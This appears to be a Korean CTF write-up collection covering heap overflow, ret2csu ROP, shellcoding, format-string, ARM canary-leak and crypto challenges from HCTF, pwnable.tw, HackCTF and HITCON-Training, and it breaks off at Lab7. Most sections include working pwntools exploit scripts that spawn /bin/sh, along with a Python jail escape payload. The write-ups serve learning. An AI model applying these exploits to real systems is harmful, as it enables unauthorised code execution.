libc leak해줬으면 oneshot을 이용해서 modify해서 Marimo의 profile을 가르키는 포인터에 oneshot 주소를 구해서 got overwrite 해주면 된다. sub_400FF9 함수에 의해서 개행전까지 입력받을 수 있다.

‘A’를 40개 입력했을 때 이런식으로 되는데 0x15e015000 을 덮지 않고 0xc5c4c0 을 바꿔줘야한다. 덮으면 나중에 수정부분에서 입력을 안 받고 프로그램이 꺼진다.

exploit.py

from pwn import *

# context.log_level = 'debug'
context.arch = 'amd64'
p = process('./marimo')
e = ELF('./marimo')
libc = e.libc

def vuln(name,profile):
	p.sendlineafter('>> ','show me the marimo')
	p.sendlineafter('>> ',name)
	p.sendlineafter('>> ',profile)

def view(index):
	p.sendlineafter('>> ','V')
	p.sendlineafter('>> ',str(index))

def modify(profile):
	p.sendlineafter('>> ','M')
	p.sendlineafter('>> ',profile)
	p.sendlineafter('>> ','B')

vuln('AAAA','BBBB')
vuln('CCCC','DDDD')

sleep(3)
payload = 'A'*48
payload += p64(0x15e015000)
payload += p64(e.got['puts']) # name
payload += p64(e.got['puts']) # profile

view(0)
modify(payload)
#raw_input()
view(1)
p.recvuntil('name : ')
libc_base = u64(p.recvuntil('\x7f').ljust(8,'\x00')) - libc.symbols['puts']
log.info('libc_base : ' + hex(libc_base))

p.sendlineafter('>> ','M')
p.sendlineafter('>> ',p64(libc_base + 0x45216)) # puts overwrite
p.interactive()

2016 DefCamp CTF warm-heap

Heap Chunk 공부하고자 간단한 Heap Overflow문제를 풀어봤다.

v3 = malloc(16uLL);

16만큼 malloc 해주면 heap 영역에 이렇게 할당되는데 chunk 구조를 보면 64bit 바이너리니까 header에서 prev_sizesize는 각각 8바이트씩을 차지할거다. 빨간 부분은 prev_size , 노란부분은 size, 분홍부분은 mem 영역일 것이다.

16만큼 동적할당 해줬으니 사이즈는 총 32일 것이다. 0x20이 아니라 0x21인 이유는 prev_inuse가 하위 1비트가 들어가기 때문이다. 현재 chunk가 사용중이므로 1로 설정되어있다. free되면 0이 된다.

*v3 = 1;

prev_size와 size를 제외하고 다음부터 우리가 할당해준 mem부분이다. 메모리에 1이라는 값을 저장해준다.

*(v3 + 1) = malloc(8uLL);

이 코드로 다음 chunk 주소가 malloc mem안에 들어가게 된다.

v4 = malloc(16uLL);
*v4 = 2;

이것도 그냥 16만큼 malloc해주고 값을 넣어줬다.

*(v4 + 8) = malloc(8uLL);

이것도 다음 chunk 주소가 malloc mem에 들어가게 된다.

fgets(&input, 4096, stdin);
strcpy(*(v3 + 1), &input);
fgets(&input, 4096, stdin);
strcpy(*(v4 + 8), &input);
exit(0);

0x0000000001CCF090이 input부분인데 strcpy로 *(v3+1) 에 복사해주고 있다. 여기서 40바이트를 넣고 이 뒤에 다음부터 Heap Oveflow내서 chunk 부분을 덮어쓸 수 있다.

void __noreturn sub_400826()
{
  __int128 lineptr; // [rsp+0h] [rbp-20h]
  FILE *stream; // [rsp+10h] [rbp-10h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  lineptr = 0uLL;
  stream = fopen("flag", "r");
  getline(&lineptr, &lineptr + 1, stream);
  puts(lineptr);
  fflush(stdout);
  free(lineptr);
  _exit(1);
}

그래서 40바이트만큼 덮고 그 뒤에 함수의 exit@got주소를 넣고 flag를 읽어주는 함수로 바꿔주면 exit(0);가 됐을 때 flag를 읽어주는 함수가 실행된다.

exploit.py

from pwn import *

e = ELF('./exp100.bin')
p = process('./exp100.bin')

flag = 0x400826
payload = 'A'*40
payload += p64(e.got['exit'])
p.sendline(payload)
p.sendline(p32(flag))
p.interactive()

[HackCTF]RTC

Return To Csu에 대해 이론 공부하고 나서 HackCTF RTC를 풀게되었는데 Chaining하는게 좀 재밌었다.

__libc_csu_init 이용해서 Exploit하는건데 이해하는대로 풀었다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-40h]

  setvbuf(stdin, 0LL, 2, 0LL);
  write(1, "Hey, ROP! What's Up?\n", 0x15uLL);
  return read(0, &buf, 512uLL);
}

gadget이 부족하기 때문에 일반적인 ROP를 할 수 없어서 RTC를 이용하면 된다.

main 함수에서 buf 크기가 0x40인데 512만큼 받으니까 ret을 __libc_csu_init 주소로 돌려서 Chaining 해주면서 풀면 된다.

0x4006BA 부터 pop으로 레지스터 세팅해주고 0x4006A0 으로 ret 을 해줘서 인자 edi, rsi , rdx 를 각각 세팅해주고 함수 0x4006A9 에서 호출하기 할 수 있다.

0x4006BA 부터 레지스터에 넣는거 이용해서 0x4006A9 에서 call하면 된다.

Chaining 계속하려면 add rbx, 1 , cmp rbx, rbp 를 맞춰줘야 하니까 pop 레지스터 세팅해주는 곳에서 rbx를 0으로 맞춰서 call qword ptr [r12+rbx*] 에서 r12에 got주소 넣고 rbx에 0을 넣으면 그 함수를 실행할 수 있다.

그러니까 rbx에 0을 넣으니까 rbp는 1로 맞춰줘야 계속 Chaining을 할 수 있다.

exploit.py

from pwn import *

context.arch = 'amd64'
p = remote('ctf.j0n9hyun.xyz',3025)
#p = process('./rtc')
e = ELF('./rtc')
libc = ELF('./libc.so.6', checksec=False)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)

csu_pop = 0x00000000004006BA
csu_call = 0x00000000004006A0

payload = 'A'*72
payload += p64(csu_pop) # set
payload += p64(0) + p64(1) + p64(e.got['write']) + p64(8) + p64(e.got['write']) + p64(1) + p64(csu_call)
# rbx -> 0 
# rbp -> 1
# r12 -> write_got -> call
# r13 -> rdx -> write(?,?,8)
# r14 -> rsi -> write(?,write_got,8)
# r15d -> edi -> write(1,write_got,8)
# ret -> csu_call
payload += p64(csu_pop) # set
payload += p64(0) + p64(1) + p64(e.got['read']) + p64(10) + p64(e.bss()) + p64(0) + p64(csu_call)
# rbx -> 0 
# rbp -> 1
# r12 -> read_got -> call
# r13 -> rdx -> read(?,?,10)
# r14 -> rsi -> write(?,bss,10)
# r15d -> edi -> write(0,bss,10)
# ret -> csu_call
payload += p64(csu_pop) # set
payload += p64(0) + p64(1) + p64(e.got['read']) + p64(8) + p64(e.got['read']) + p64(0) + p64(csu_call)
# rbx -> 0 
# rbp -> 1
# r12 -> read_got -> call
# r13 -> rdx -> read(?,?,8)
# r14 -> rsi -> write(?,read_got,8)
# r15d -> edi -> write(0,read_got,8)
# ret -> csu_call
payload += p64(csu_pop)
payload += p64(0) + p64(1) + p64(e.got['read']) + p64(0) + p64(0) + p64(e.bss()) + p64(csu_call)
# rbx -> 0 
# rbp -> 1
# r12 -> read_got -> call -> system
# r13 -> rdx -> 0
# r14 -> rsi -> 0
# r15d -> edi -> system(bss) -> system("/bin/sh\x00")
# ret -> csu_call
p.sendafter('?\n',payload)

libc_base = u64(p.recvuntil('\x7f').ljust(8,'\x00')) - libc.symbols['write']
log.info('write : ' + hex(libc_base))

p.sendline('/bin/sh\x00')

p.sendline(p64(libc_base + libc.symbols['system']))

p.interactive()

다른 방법으론 oneshot gadget 이용해서 풀었다. libc base 구했으니까 main으로 리턴해주고 원샷 날려주면 된다.

exploit.py

from pwn import *

context.arch = 'amd64'
p = remote('ctf.j0n9hyun.xyz',3025)
# p = process('./rtc')
e = ELF('./rtc')
libc = ELF('./libc.so.6', checksec=False)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)

csu_pop = 0x00000000004006BA
csu_call = 0x00000000004006A0

payload = 'A'*72
payload += p64(csu_pop) 
payload += p64(0) + p64(1) + p64(e.got['write']) + p64(8) + p64(e.got['write']) + p64(1) + p64(csu_call)
payload += p64(csu_pop)
payload += p64(0) + p64(1) + p64(0) + p64(0) + p64(0) + p64(0) + p64(e.symbols['main'])

p.sendafter('?\n',payload)

libc_base = u64(p.recvuntil('\x7f').ljust(8,'\x00')) - libc.symbols['write']
log.info('libc_base : ' + hex(libc_base))

oneshot = 0x4526a
payload2 = 'A'*72
payload2 += p64(libc_base + oneshot) 

p.sendafter('?\n',payload2)
p.interactive()

Pwngdb 명령어 정리

magic - glibc에서 유용한 변수와 함수를 표시

rop - ROP gadget 표시

heapinfoall - 모든 힙 정보 표시

parseheap - 할당되거나 free된 Chunk 정보 표시

arenainfo - arena 정보 표시

heap - heap base 정보 표시

heapinfo - free된 티캐시, 패스트빈 목록 확인 가능 , tcache가 사용 가능한 경우 tcache 항목에 대한 정보 표시

orange [File 주소] - house of orange 조건 - _IO_flush_lockp (glibc버전 <= 2.23)

findsyscall - syscall 찾기

mergeinfo [주소] - 병합된 정보 표시

got - 글로벌 오프셋 테이블 정보 인쇄

fp [주소] - 파일 구조 표시

chunkinfo [주소] - 청크 정보 표시

chunkptr - [ptr주소] - 청크 정보 표시

heapbase - heap base 주소 표시

codebase - code base 주소 표시

tracemalloc on - malloc 추적

libc - libc base 출력

2019 HCTF Writeup

Newbie

Sanity Check

Description에 FLAG가 있다.

FLAG : HCTF{flag_looks_like_this}


NetCat

주어진 netcat서버에 접속하면 FLAG를 뿜어준다.

FLAG : HCTF{net"Cat" is so cute}


Cultureland

파란색으로 덮힌 바코드를 그림판으로 복구해주면 된다. 어느정도 노가다 하다보니 인식됐다.

FLAG : HCTF{4180021737370713}


CryptoFile

예전에 seed값 이용해서 푸는 문제 풀었을 때 python2랑 python3랑 seed 설정하고 random 값이 다른거를 잊고 왜 안되나 했다. 계속 python2를 이용해서 random_string을 잘못 가져왔다. python3 사용한 random_string 넣고 푸니까 잘 decrypt 된다.

파일이 생성된 시간 2019:11:12 23:59:07+09:00의 time.time() 값은 1573570747 이다.

import random
import string
import time

def random_string(length):
    strs = string.ascii_letters + string.digits
    result = ""
    for _ in range(length):
        result += random.choice(strs)
    return result

seed = 1573570747
random.seed(seed)
key = random_string(32)
iv = random_string(16)
print(key) # FYqE3ywYFWoIcByuSWhTcB5N7E1yVH63
print(iv) # 9DULbzZxWQSgNnZM

key랑 iv값은 구한 후 decrypt 함수에 파일 이름, key, iv 넣고 decrypt해주면 된다.

from Crypto.Cipher import AES
import random
import string
import time
import os

class CryptoFile:
    def encrypt(self, endswith, delete_file):
        for file_name in [i for i in os.listdir('./') if i.endswith(endswith)]:
            target_file = open(file_name, 'rb')
            result = open('CryptoFile-' + self.random_string(2) + '.' + self.random_string(12), 'wb') 
            seed = int(time.time())
            random.seed(seed)
            key = self.random_string(32)
            iv = self.random_string(16)
            result.write(AES.new(key, AES.MODE_CFB, iv).encrypt(target_file.read()))
            if delete_file:
                os.remove(file_name)

    def decrypt(self, file_name, key, iv):
        target_file = open(file_name, 'rb')
        result = open(file_name + ".result", 'wb')
        result.write(AES.new(key, AES.MODE_CFB, iv).decrypt(target_file.read()))

    def random_string(self, length):
        strs = string.ascii_letters + string.digits
        result = ""
        for _ in range(length):
            result += random.choice(strs)
        return result

if __name__ == '__main__':
    # CryptoFile().encrypt(('gg'), True)
    CryptoFile().decrypt('CryptoFile-Xp.NNRyUD7RQLVh','FYqE3ywYFWoIcByuSWhTcB5N7E1yVH63','9DULbzZxWQSgNnZM')

.result파일의 확장자를 png로 바꾸고 이미지 열면 FLAG가 있다.

FLAG : HCTF{Se3d_T1mE_15_D4nG3rouS}


NonPrintable

입력 값하고 \xde\xed\xbe\xef 이 같으면 플래그 파일을 읽을 수 있다.

from pwn import *

p = remote('prob.hctf.icewall.org',10102)
p.sendlineafter('>> ','\xde\xed\xbe\xef')
p.interactive()

FLAG : HCTF{beef steak is delicious}


Python Jail

python -c 로 실행시켜주는데 exec , chr 이 안 막혀있어서 이를 이용해서 풀었다. 아래 페이로드 이용해서 풀었다.

a="__import__('os').system('sh')"
payload = 'exec(' + ''.join('chr('+str(ord(a[i]))+')+' for i in range(len(a)))[:-1] + ')'

FLAG : HCTF{getattr_is_very~~~~very~~~~nice!!}


Take It

힌트가 있길래 딱보면 robots.txt 이용해서 푸는거구나 생각하고 들어갔는데 HCTF-FLAG.txt이 있길래 http://www.nowtakeit.com/HCTF-FLAG.txt 들어갔는데 플래그가 있었다.

FLAG : HCTF{Congratulations_10000_Points_for_First_Solver!!}


Reversing

매우 복잡한 그래프이다. 자세히 보면 인덱스의 글자가 맞는지 아닌지 비교해주는 분기들이다. 인덱스의 값들을 잘 맞추면 된다.

a=[0]*46
a[23]=97;a[19]=74;a[9]=95;a[22]=95;a[6]=118;a[1]=67;a[26]=95;a[7]=101;a[3]=70
a[2]=84;a[8]=110;a[17]=101;a[44]=116;a[32]=97;a[24]=110;a[43]=105;a[14]=104;a[12]=99
a[10]=103;a[28]=111;a[35]=105;a[29]=117;a[31]=99;a[14]=104;a[12]=99;a[10]=103
a[38]=112;a[39]=101;a[34]=95;a[37]=115;a[25]=100;a[18]=95;a[45]=125;a[21]=84;a[40]=99
a[11]=99;a[16]=118;a[30]=95;a[41]=116;a[13]=95;a[4]=123;a[42]=95;a[5]=101
a[20]=73;a[15]=97;a[0]=72;a[33]=110;a[27]=121;a[36]=110
print ''.join(chr(i) for i in a)

FLAG : HCTF{even_gcc_have_JIT_and_you_can_inspect_it}

Forensic

Easy Forensic

Stegsolve 를 이용해서 Blue Plane 0 이미지 좌측에 보면 흰색, 검은색이 반복되며 나온다.

여기서 검은색은 0, 흰색은 1로 치환해줘서 2진수 값 가져와서 8비트씩 끊어서 문자열로 만들면 플래그가 된다.

from PIL import Image

img = Image.open('solved.png')
img = img.convert('RGB')
img_pix = img.load()
r,g,b = img_pix[0,0]
text = ''
black = (0,0,0)
white = (255,255,255)
for i in range(1):
	for j in range(img.height):
		if img_pix[i,j] == black:
			text += '0'
		elif img_pix[i,j] == white:
			text += '1'

b = '010010000100001101010100010001100111101101010111011010000110000101110100010111110100000101011111010100110110100101101101011100000110110001100101010111110101001101110100011001010110011101100001011011100110111101100111011100100110000101110000011010000111100101011111010100000111001001101111011000100110110001100101011011010010000101111101'
print ''.join(map(lambda x: chr(int(x, 2)), [b[i:i+8] for i in xrange(0, len(b),8)]))

FLAG : HCTF{What_A_Simple_Steganography_Problem!}


Normal Forensic

패킷 문제다. 주어진 패킷을 분석해보면 ruu.kr에서 SMTP 프로토콜로 통신을 했다.

220 ruu.kr ESMTP Postfix
HELO ruu.kr
250 ruu.kr
MAIL FROM:master@ruu.kr
250 2.1.0 Ok
RCPT TO:idontknow@ruu.kr
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
From: master@ruu.kr
To: idontknow@ruu.kr
Subject: Order
Date: Thu, 10 Oct 2019 23:11:21 +0900

OK...

The password is ITISNOTFLAG

Order file will transfer through secret channel...

Good Luck...

.
250 2.0.0 Ok: queued as C2A15240681
QUIT
221 2.0.0 Bye

다른 채널에 더 비밀스러운게 있다고 한다. 대충 쭉쭉 분석하다보니 ICMP 프로토콜로 통신한 부분을 볼 수 있다.

자세히 보니 ICMP Data 영역(마지막 제외 32바이트) 를 주고받은걸 볼 수 있다. 해당 ICMP Data영역에 해당하는 부분을 추출해주면 된다.

tshark -r packet.pcapng -Y 'icmp and ip.src==192.168.3.128' -T fields -e data

위 명령어 사용해서 가져오면 된다. 가져온 hex값을 hex decode해주고 base64로 decode해주면 7z파일이 나온다 앞에 dummy 부분만 제거하고 7z만 가져와서 아까 얻은 password (ITISNOTFLAG) 를 이용해서 풀어주면 ELF파일이 나오는데 이 ELF파일을 실행해주면 플래그가 나온다.

FLAG : HCTF{Now_You_Know_ICMP_Covert_Channel}

Crypto

Easy Crypto

DES key 취약점을 이용한 문제이다. 취약한 키 다 가져와서 DES decrypt Bruteforce해줬다.

from Crypto.Cipher import DES
import string
import re

f = open('flag.enc', 'rb')
ciphertext = f.read()
f.close()

parity = [ '0101010101010101', 'FEFEFEFEFEFEFEFE', 'E0E0E0E0F1F1F1F1', '1F1F1F1F0E0E0E0E' ]
noparity = [ '0000000000000000', 'FFFFFFFFFFFFFFFF', 'E1E1E1E1F0F0F0F0', '1E1E1E1E0F0F0F0F' ]

parity = [ i.decode('hex') for i in parity ]
noparity = [ i.decode('hex') for i in noparity ]

keylist = [parity, noparity]

IV = '87654321'
for key in keylist :
    for KEY in key :
        a = DES.new(KEY, DES.MODE_OFB, IV)
        plain = a.decrypt(ciphertext)
        print plain

FLAG : HCTF{It_is_So_Easy_Crypto_Problem_Right?}


Normal Crypto

Hastad’s Broadcast Attack 문제다.

#!/usr/bin/env sage
from Crypto.Util.number import bytes_to_long
from flag import *

p1 = random_prime(2 ** 512)
q1 = random_prime(2 ** 512)
n1 = p1*q1
c1 = pow(bytes_to_long(flag), 3, n1)

p2 = random_prime(2 ** 512) 
q2 = random_prime(2 ** 512)
n2 = p2*q2
c2 = pow(bytes_to_long(flag), 3, n2)

p3 = random_prime(2 ** 512)
q3 = random_prime(2 ** 512)
n3 = p3*q3
c3 = pow(bytes_to_long(flag), 3, n3)

'''
n1 = 51288326117082216488243544411546341945726200457761206644453923648745691133003298888640252920064366336153188590374906234193582318331511534150725498901204272996547758897280686510115493963949922521015212579960046142009026018249435094931175160476695080910770853450088955925931824360889598897960812196501910310971
c1 = 28664547940927727470345840711427399029606901366945466558505886421148178887598108954927053378246067525782321635926368688599601177978705377673276761471247346043054112813201264689017682322288369008503806688587531250974252044496239856005783248513792583183221373808082430000175628167523517126596009125614278899401
n2 = 29457686135991278975006812334310920356301816375997022543935792333970703696552526067677471770683579031803067927853925309291329810629595674400216862296288264098946332200460602662886636986347872294111648892796874085016119364078711660172342567556983822990434691459944961479240777022275803977723283229813386301943
c2 = 17077337519494000172836363832449617495753905384402839209756596335776673357613519709505681025778010115408943551044640911776511058812367697112179693767591405425645379539292855458605246761273813881282099739714024726610417325149805228045155772866483083186845303214010795924962676589099791252639040456901677120150
n3 = 72570233407274155209010922487345535784018612312055202392917019376429008866027961487578709415248191493186061903205333749093176280354945073304299285338734712471052411177028661616522150737451099384372788193639240627293146026956125655121241407595730843161959206866826957178300347986554615242213197995238377803371
c3 = 31438313874268746538209435813008423411657145512975475419766196892386179436013493127502413961298066715514288544164984428909735361469851593467279236104771200982976742894944365211194682572655588971675048664511251481051012641459370727389264675511908790088593553823687386299715190450157524259663191587745887609953
'''

중국인의 나머지 정리(CRT; Chinese Remainder Theorem)를 이용해서 계산해주면 된다. 구글링하면 잘 나온다.

import gmpy

e = 3
n1 = 51288326117082216488243544411546341945726200457761206644453923648745691133003298888640252920064366336153188590374906234193582318331511534150725498901204272996547758897280686510115493963949922521015212579960046142009026018249435094931175160476695080910770853450088955925931824360889598897960812196501910310971
c1 = 28664547940927727470345840711427399029606901366945466558505886421148178887598108954927053378246067525782321635926368688599601177978705377673276761471247346043054112813201264689017682322288369008503806688587531250974252044496239856005783248513792583183221373808082430000175628167523517126596009125614278899401
n2 = 29457686135991278975006812334310920356301816375997022543935792333970703696552526067677471770683579031803067927853925309291329810629595674400216862296288264098946332200460602662886636986347872294111648892796874085016119364078711660172342567556983822990434691459944961479240777022275803977723283229813386301943
c2 = 17077337519494000172836363832449617495753905384402839209756596335776673357613519709505681025778010115408943551044640911776511058812367697112179693767591405425645379539292855458605246761273813881282099739714024726610417325149805228045155772866483083186845303214010795924962676589099791252639040456901677120150
n3 = 72570233407274155209010922487345535784018612312055202392917019376429008866027961487578709415248191493186061903205333749093176280354945073304299285338734712471052411177028661616522150737451099384372788193639240627293146026956125655121241407595730843161959206866826957178300347986554615242213197995238377803371
c3 = 31438313874268746538209435813008423411657145512975475419766196892386179436013493127502413961298066715514288544164984428909735361469851593467279236104771200982976742894944365211194682572655588971675048664511251481051012641459370727389264675511908790088593553823687386299715190450157524259663191587745887609953

N = n1*n2*n3
N1 = N/n1
N2 = N/n2
N3 = N/n3
u1 = gmpy.invert(N1, n1)
u2 = gmpy.invert(N2, n2)
u3 = gmpy.invert(N3, n3)
M = (c1*u1*N1 + c2*u2*N2 + c3*u3*N3) % N
m = gmpy.root(M,e)[0]

print hex(m)[2:].rstrip("L").decode("hex")

FLAG : HCTF{RSA_and_CRT_are_Very_VerY_vErY_EEEEEEasy_Hey_Fancy_You!}


Hard Crypto

Rabin 이라고 힌트를 준다.

#!/usr/bin/env sage
from Crypto.Util.number import bytes_to_long
from flag import *

p = random_prime(2 ** 512)
q = next_prime(p)
while( (p % 4 != 3) or (q % 4 != 3)):
  p = random_prime(2 ** 512)
  q = next_prime(p)

n = p*q
enc = pow(bytes_to_long(flag), 2, n)

'''
enc = 73542412655098595288523283051922726948987836481512888688568370390089349895674742919054617819207531547203412993390163795469943072671517862652306841750777311090535745024110632538861884544050117040995590340090004011600842361133477565295421449374080806791669255711773865469446783482295684422403941521840992615081
n = 125113791375781590742588776384677849561763911403969678239226246595208477077387851718287113847876756637358464629111609713250406518161996535302555017864010967277368946077999313697436340679738805691707848811752315811099645670395554902117468738736773802070224145546690124014135268318947603905589466494462919823377
'''

Fermat factorization 페르마소수를 이용해서 n을 소인수분해해서 p,q를 구해주면 된다.

#from Crypto.Util.number import long_to_bytes
# -*-coding:utf-8 -*-
from gmpy2 import *

def fermat_factor(n):
    assert n % 2 != 0
    
    a = isqrt(n)
    b2 = square(a) - n
    
    while not is_square(b2):
        a += 1
        b2 = square(a) - n
    p = a + isqrt(b2)
    q = a - isqrt(b2)
    
    return int(p), int(q)
    
n = 125113791375781590742588776384677849561763911403969678239226246595208477077387851718287113847876756637358464629111609713250406518161996535302555017864010967277368946077999313697436340679738805691707848811752315811099645670395554902117468738736773802070224145546690124014135268318947603905589466494462919823377
p, q = fermat_factor(n)
print("p :" + str(p))
print("q :" + str(q))
print("p/q :" +str(p/float(q)))

c = 73542412655098595288523283051922726948987836481512888688568370390089349895674742919054617819207531547203412993390163795469943072671517862652306841750777311090535745024110632538861884544050117040995590340090004011600842361133477565295421449374080806791669255711773865469446783482295684422403941521840992615081
n = p*q 
ma = []

mp = pow(c,(p+1)//4,p)
mq = pow(c,(q+1)//4,q)
yp = invert(p,q)
yq = invert(q,p)

ma.append((yq*q*mp + yp*p*mq) % n)
ma.append((yq*q*mp - yp*p*mq) % n)
ma.append((-yq*q*mp + yp*p*mq) % n)
ma.append((-yq*q*mp - yp*p*mq) % n)

for m in ma:
    m = hex(m)[2:]
    if (len(m) %2 !=0 ):
        m = '0' + m
    print "M = " + m.decode("hex")

FLAG : HCTF{Rabin_Crypto_Algorithm_is_So_Beautiful_And_This_Problem_Requires_A_Really_Long_Flag_Length}


Pwn

Baby Shellcode

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rdx
  char *v4; // rsi
  int i; // [rsp+10h] [rbp-60h]
  char *area; // [rsp+18h] [rbp-58h]
  char initialize[49]; // [rsp+20h] [rbp-50h]
  unsigned __int64 v9; // [rsp+58h] [rbp-18h]

  v9 = __readfsqword(0x28u);
  area = mmap(0LL, 0x1000uLL, 7, 0x22, 0xFFFFFFFF, 0LL);
  *initialize = 0x3148DB3148C03148LL;
  *&initialize[8] = 0x48F63148D23148C9LL;
  *&initialize[16] = 0xED3148E43148FF31LL;
  *&initialize[24] = 0x314DC9314DC0314DLL;
  *&initialize[32] = 0x4DE4314DDB314DD2LL;
  *&initialize[40] = 0xFF314DF6314DED31LL;
  initialize[48] = 0;
  v3 = strlen(initialize);
  memcpy(area, initialize, v3);
  v4 = &area[strlen(initialize)];
  read(0, v4, 1024uLL);
  for ( i = 0; i < strlen(initialize) + 1024; ++i )
  {
    if ( area[i] == 0xEBu )
    {
      puts("lol~");
      exit(0);
    }
  }
  (area)(initialize, v4);
  return 0;
}

shellcodeing 문제다.

mmap -> read -> execve

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./babyshellcode')
p = process('./babyshellcode')

# %rdi %rsi %rdx %r10 %r8 %r9
s = '''
mov rdi, 0x0
mov rsi, 0x1000
mov rdx, 0x7
mov r10, 0x22
mov r8, 0xFFFFFFFF
mov r9, 0x0
mov rax, 0x9
syscall

mov rsp, rax
add rsp, 0x1000

mov rdi, 0x0
mov rsi, rsp
mov rdx, 0x20
mov rax, 0
syscall

mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
'''

p.send(asm(s))

p.send('/bin/sh\x00')

p.interactive()

FLAG : HCTF{Simple_Shellcode_Problem_Is_So_CUTE!!!}


Web

[pwnable.tw]start

보호기법은 하나도 안 걸려있다.

[*] '/vagrant/ctfs/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

_start 에서 syscall로 write, read 호출한다.

write는 esp에 있는 값을 20바이트 만큼 출력해준다. push 해준 값들인데 아마 Let's start the CTF: 이거 출력해줄 것이다. 그리고 read는 64바이트만큼 입력받을 수 있다. 그리고 마지막에 esp 정리해주고 exit으로 리턴해준다.

.text:08048060                 public _start
.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    3A465443h
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 60
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048099                 add     esp, 14h
.text:0804809C                 retn

여기서 리턴을 덮어서 원하는 주소로 갈 수 있다. 근데 ret할때 esp가 스택주소가 들어있는데 0x08048087 로 리턴해주면 stack 주소를 leak 할 수 있다. 그리고 add esp, 0x14 하고 ret하니까 쉘코드가 있는 주소로 덮으면 쉘코드 실행이 된다

exploit.py

from pwn import *

# context.log_level = 'debug'
e = ELF('./start')
#p = process('./start')
p = remote('chall.pwnable.tw',10000)
gadget = 0x08048087 # mov ecx, esp ; mov dl, 0x14 ; mov bl, 1 ; mov al, 4 ; int 0x80

payload = 'A'*0x14
payload += p32(gadget)
p.sendafter(':',payload)

stack = u32(p.recv(4))
log.info('stack : ' + hex(stack))

#raw_input()
payload2 = 'A'*0x14
payload2 += p32(stack + 0x14)
payload2 += '\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80'
p.send(payload2)

p.interactive()

[pwnable.tw]orw

HITCON-Training에서 풀었었는데 거기서 나온 문제랑 똑같은 문제이다.

seccomp가 사용되서 open,read,write 빼고 다른 syscall은 사용할 수 없다.

/home/orw/flag 파일을 읽어오면 된다고 한다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  orw_seccomp();
  printf("Give my your shellcode:");
  read(0, &shellcode, 200u);
  (shellcode)();
  return 0;
}

코드를 보면 내가 입력한 shellcode를 실행해준다.

그냥 shellcoding해주면 된다.

- stack 최상위에 저 문자열을 넣어준다.

- esp는 스택의 최상단 데이터를 가르키는 포인터니까 /home/orw/flag를 open()해준다.

- open()을 실행했으니 fd값이 eax에 담겨있을 것이다. 그리고 esp(/home/orw/flag)를 100바이트만큼 읽어은걸 esp에 저장한다.

- write() 함수로 stdout으로 esp(읽은 파일의 내용)의 내용을 출력해준다.

from pwn import *
 
p = remote('chall.pwnable.tw',10001)
 
pay = asm(shellcraft.pushstr('/home/orw/flag'))
pay += asm(shellcraft.open('esp',0,0))
pay += asm(shellcraft.read('eax','esp','100'))
pay += asm(shellcraft.write('1','esp','100'))
p.sendlineafter(':',pay)
 
p.interactive()

2019 hxp CTF poor_canary

ARM Architecture의 Pwn문제다.

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

int main()
{
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    char buf[40];
    puts("Welcome to hxp's Echo Service!");
    while (1)
    {
        printf("> ");
        ssize_t len = read(0, buf, 0x60);
        if (len <= 0) return 0;
        if (buf[len - 1] == '\n') buf[--len] = 0;
        if (len == 0) return 0;
        puts(buf);
    }
}
const void* foo = system;

canary leak해주고 Gadget 찾아서 익스하면 된다.

from pwn import *

context.log_level = 'debug'
e = ELF('./canary')
p = process('./canary')


p.sendafter('> ','A'*41)
p.recvuntil('A'*40)
canary = u32(p.recv(4)) - 0x41
binsh = 0x71EB0
system = 0x16d90
popret = 0x00026b7c # pop {r0, r4, pc}

payload = 'A'*40
payload += p32(canary)
payload += 'A'*12
payload += p32(popret)
payload += p32(binsh) 
payload += 'A'*4
payload += p32(system)
p.sendafter('> ',payload)
p.sendlineafter('> ','')
p.interactive()

[HITCON-Training]Lab8

그냥 magic 값만 맞춰주면 풀리는 문제다.

#include <stdio.h>

int magic = 0 ;

int main(){
	char buf[0x100];
	setvbuf(stdout,0,2,0);
	puts("Please crax me !");
	printf("Give me magic :");
	read(0,buf,0x100);
	printf(buf);
	if(magic == 0xda){
		system("cat /home/craxme/flag");
	}else if(magic == 0xfaceb00c){
		system("cat /home/craxme/craxflag");
	}else{
		puts("You need be a phd");
	}

}

pwn 모듈 사용해서 magic의 값을 0xFACEB00C로 바꿔주면 된다.

exploit.py

from pwn import *

e = ELF('./craxme')
p = process('./craxme')

offset = 7
magic = 0x0804A038
#payload = fmtstr_payload(offset,{magic:0xDA})
payload = fmtstr_payload(offset,{magic:0xFACEB00C})
p.sendlineafter(':',payload)
p.interactive()


exploit.py

from pwn import *

e = ELF('./craxme')
p = process('./craxme')
offset = 7

payload = p32(0x0804A038)
payload += '%{}d'.format(214)
payload += '%{}$hhn'.format(offset)

p.sendlineafter(':',payload)
p.interactive()

[HITCON-Training]Lab7

password 값만 맞춰주면 flag를 얻을 수 있는 문제다.

#include <stdio.h>
#include <unistd.h>
